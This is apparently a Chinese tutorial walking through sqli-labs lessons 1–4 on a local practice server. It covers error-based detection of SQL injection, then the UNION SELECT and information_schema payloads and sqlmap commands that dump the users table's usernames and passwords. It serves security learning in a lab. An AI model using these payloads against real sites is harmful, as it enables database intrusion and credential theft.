get基于报错的sql注入发现

Less1:

sqli-labs第一关提示说在网页上输入id,也就是?id=1。

但这个?是什么意思,它表示index.php?也就是默认页面。然后?id=1就是把id=1提交到index.php或默认的页面上面。也就是提交参数。

在id=1后面输入单引号 ' 出现报错:

查看报错信息,拿去关键信息:

''1'' LIMIT 0,1'

其中前后的单引号是原本报错信息自带的,所以把它去掉:

'1'' LIMIT 0,1

根据这个揣测一下它原本在数据交互处mysql原本的命令是:
       select Login_name,Password from table where id = 'id' limit0,1;

可以看出如果原本没有多加的单引号’它原本的语句应该是:

select Login_name,Password from table where id = '1' limit0,1;

但是我加上那个单引号,又没有形成一对,所以它报错了。

  看上面是有一对单引号所以就没有报错。

Less2:

第二关同样的方式来试探它是否有基于get报错的sql注入:

有报错信息,同样拿出来关键内容:

'' LIMIT 0,1'

其中前后的单引号是原本报错信息自带的,所以把它去掉:

' LIMIT 0,1

根据这个揣测一下它原本在数据交互处mysql原本的命令是:
       select Login_name,Password from table where id = id limit0,1;

可以看出如果原本没有多加的单引号’它原本的语句应该是:

select Login_name,Password from table where id = 1 limit0,1;

Less3:

有报错信息,同样拿出来关键内容:

''1'') LIMIT 0,1'

其中前后的单引号是原本报错信息自带的,所以把它去掉:

'1'') LIMIT 0,1

根据这个揣测一下它原本在数据交互处mysql原本的命令是:
       select Login_name,Password from table where id = ('id') limit0,1;

可以看出如果原本没有多加的单引号’它原本的语句应该是:

select Login_name,Password from table where id = ('1') limit0,1;

根据单引号加括号同样可以写一个1')--+来通过(+会变成空格,--空格在myslq语言里就是注释的意思):

也可以1')--%20来通过(%20会变成空格):

Less4:

第四关不同于前三关可以通过单引号来导致报错,它是通过双引号来包裹住id所以你输入单引号,括号什么的都没有效果,它全部当成数据来处理:

除了用双引号来导致错误,也可以通过\反斜杠来转义,使双引号没有该有的效果。

有报错信息,同样拿出来关键内容:

'"1\") LIMIT 0,1'

其中前后的单引号是原本报错信息自带的,所以把它去掉:

"1\") LIMIT 0,1

根据这个揣测一下它原本在数据交互处mysql原本的命令是:
       select Login_name,Password from table where id = ("id") limit0,1;

可以看出如果原本没有多加的单引号’它原本的语句应该是:

select Login_name,Password from table where id = ("1") limit0,1;

根据单引号加括号同样可以写一个1")--+来通过:

也可以1")--%20来通过:

get基于报错的sql注入利用

1.利用order by判断字段数

在php里面无法一次性执行多条sql语句。所以要用union但是用union有两个限制,第一个是个数的限制,需要知道前面的select语句输出了几列,必须跟他一致。第二个就是类型要相似,至少他们可以隐式的转换,数字与日期就不行。

那么针对第一个问题,我们可以用猜有几个字段的方式来确认它到底有几个字段

union select 1 --报错

union select 1,2 --报错

union select 1,2,3 --报错

union select 1,2,3,4 –成功返回结果

通过union可以慢慢去尝试它到底有几列。

也可以同过order by来尝试、

order by 1 –用第一列来进行排序

order by 2 –用第二列来进行排序

order by n –直到n列报错那么就确实n-1是表中所有的字段也就是n-1列

经过测试发现到order by 4就会报错,那么它显示的就是三个字段三个内容:

揣测一下它原本在数据交互处mysql原本的命令是:

select Login_name,Password from table where id = '1' order by 3 --+' limit0,1;

所以可以通过报没报错,再用order by来尝试它有几个字段。

2.利用union select 联合查询,获取表名

在这里的话,用union select 先把id=0不显示它原本的内容,导致才会显示出union select的内容。

id=0 ' union select 1,2,3 --+  

可以看到,输出显示2和3那就是我们可以利用的位置。

查看数据库版本和当前所在数据库名字

union select 1,version(),database()

知道了当前数据库的名字,那么就可以在系统库information_ schema库下TABLES表TABLE_SCHEMA字段直到获取表名TABLE_NAME:

sql命令:

union select 1,table_name,3 from information_schema.tables where table_schema=database()--+

通过此条命令可以看出只显示了一个行内容,原本在security数据库下四个表只显示了一个,也就是说它不能多行输出,那么就要使用group_concat函数。

它的作用是将group by产生的同一个分组中的值连接起来,返回一个字符串结果。它根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。

sql命令:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

成功显示

3.利用union select 联合查询,获取字段名

获取到了表名,因为我们要拿的是用户的账号密码登信息,可以看出四个表里面users这个表是存放用户的。

跟第二个步骤相似。可以在系统库information_ schema库columns表TABLE_NAME字段获取columns_name:

sql命令:

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

成功获取users下的所有字段名。但是它显示了六个字段,我们通过查询数据库发现只有后三个字段是我们需求,那么前三个是什么?

通过sql语句 select * from information_schema.columns where table_name='users';

输出了以下内容:

原来如此,不单单是security有users还有一个performance_schema库下users表,如果要过滤这条内容,就可以指定数据库来实现应有的效果

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and TABLE_schema = 'security';

4.利用union select 联合查询,获取字段值

看到users所有字段后发现username跟password是我们需要的。

通过下面命令获取两个字段的所有内容,0x3a转换过去就是冒号:

union select 1,group_concat(username,0x3a,password),3 from security.users

成功获取账号密码

利用sqlmap测试

1.查看当前所有库:

  sqlmap.py -u "http://localhost/Less-1/?id=1" --dbs --batch

  --dbs 枚举数据库管理系统数据库

  --batch 从不询问用户输入,使用所有默认配置。

  获取当前所有数据库

2.获取security数据库下所有表

  sqlmap.py -u "http://localhost/Less-1/?id=1" -D security --tables –-batch

  -D 指定数据名称

  --tables 枚举的DBMS数据库中的表

3.获取security库下users表的所有字段

  sqlmap.py -u "http://localhost/Less-1/?id=1" -D security -T users --columns --batch

  -T指定表名

  --columns 列出字段

4.获取username字段password字段下所有数据

  sqlmap.py -u "http://localhost/Less-1/?id=1" -D security -T users -C username,password --dump --batch

  -C 指定字段

  --dump 列表中指定列的内容

get基于报错的sql注入的更多相关文章

  1. 基于报错的SQL注入整理

    SQLServer 一.利用错误消息提取信息 输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的), ...

  2. [MYSQL手工注入](3)基于报错的SQL注入实战

    0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...

  3. 详解基于MSSQL “order by”语句报错的SQL注入技术

    SQL注入,又名黑客技术之母,是一种臭名昭著的安全漏洞,由于流毒甚广,已经给网络世界造成了巨大的破坏.当然,对于该漏洞的利用技术,也是花样繁多,如访问存储在数据库中的数据,使用MySQL的load和i ...

  4. 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记

    phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-p ...

  5. sql注入--基于报错的注入

    这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...

  6. 2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa

    docker下载dvwa镜像,报错型注入dvwa,low级 一,安装并配置docker 1,更新源,apt-get update && apt-get upgrade &&am ...

  7. sqlplus 连接数据库报错SP2-0642: SQL*Plus internal error state 2130, context 0:0:0

    sqlplus 连接数据库报错SP2-0642: SQL*Plus internal error state 2130, context 0:0:0 问题描述: 使用sqlplus客户端登录数据库,报 ...

  8. Mysql报错java.sql.SQLException:null,message from server:"Host '27,45,38,132' is not allowed to connect

    Mysql报错java.sql.SQLException:null,message from server:"Host '27,45,38,132' is not allowed to co ...

  9. 解决Oracle+Mybatis批量插入报错:SQL 命令未正确结束

    Mybatis批量插入需要foreach元素.foreach元素有以下主要属性: (1)item:集合中每一个元素进行迭代时的别名. (2)index:指定一个名字,用于表示在迭代过程中,每次迭代到的 ...

  10. 报错:java.sql.SQLException: The server

    报错:java.sql.SQLException: The server time zone value '�й���׼ʱ��' is unrecognized 在IDEA运行是报出例如相识的错误时: ...

随机推荐

  1. surging版本有哪些?

    surging 一直在升级开发各个版本,以下是各个版本的费用,有需要可以联系或者可以聘请我为架构师,技术顾问,后期会升级多语言版本,推广至海外. 基于surging 的物联网技术架构 平台版本:

  2. Oracle删除列操作:逻辑删除和物理删除

    概念 逻辑删除:逻辑删除并不是真正的删除,而是将表中列所对应的状态字段(status)做修改操作,实际上并未删除目标列数据或恢复这些列占用的磁盘空间.比如0是未删除,1是删除.在逻辑上数据是被删除了, ...

  3. Agile PLM数据库表结构(Oracle)

    刚进公司,任务是接管PLM系统,但是还在给外包团队开发,没有代码.无妨先看业务和数据库,ok,业务看不懂,只能先看数据库,数据库没有数据字典,这个系统没有任何文档产出......练手时发现数据库类型是 ...

  4. 移动通信网络中的 GTP 协议

    目录 文章目录 目录 GTP GTP-C 协议(GTP 控制面) GTP-U 协议(GTP 用户面) GTP' 协议(计费传输) GTPv2 Header GTP GTP(GPRS Tunnellin ...

  5. 基于 OAI 部署私有的 4G EPS

    目录 文章目录 目录 前言 硬件设备要求 运行平台 RF 外设 可编程 SIM 卡 UE 终端 高精度参考时钟 操作系统要求 内核要求 CPU Frequency scaling All-In-One ...

  6. OpenStack 的 SR-IOV 虚拟机热迁移

    目录 文章目录 目录 前言列表 前言 SR-IOV Pass-through 虚拟机热迁移的问题 基于 macvtap 层的 SR-IOV 虚拟机热迁移 Workaround SR-IOV Pass- ...

  7. pageoffice 6 实现pdf加盖印章和签字功能

    PageOffice支持两种电子印章方案,可实现对Word.Excel.PDF文档加盖PageOffice自带印章或ZoomSeal电子印章(全方位保护.防篡改.防伪造).Word和Excel的盖章功 ...

  8. Pageoffice6 实现后台批量生成Word文档

    在实际项目开发中经常会遇到后台动态生成文档的需求,目前网上有一些针对此需求的方案,如果您想要了解这些方案的对比,请查看后台生成单个Word文档中的"方案对比". 如果一次只生成一份 ...

  9. Google出品的NotebookLM 人工智能笔记本,一款基于RAG的personalized AI产品

    Google推出了实验性的NotebookLM产品,一款基于RAG的个性化AI助手产品,基于用户提供的可信信息,通过RAG,帮助用户洞察和学习参考内容,然后借助AI整理笔记,转换为用户最终需要的大纲. ...

  10. RunnerGo V4.6.0 新增功能介绍

    RunnerGo 最新V4.6.0版本不仅对原有功能进行了深度优化和改进,还新增了一些新功能. UI 插件:浮窗升级,优化浏览体验 此次更新UI插件全新升级至V2.1版本.新版取消了页面内右下角按钮的 ...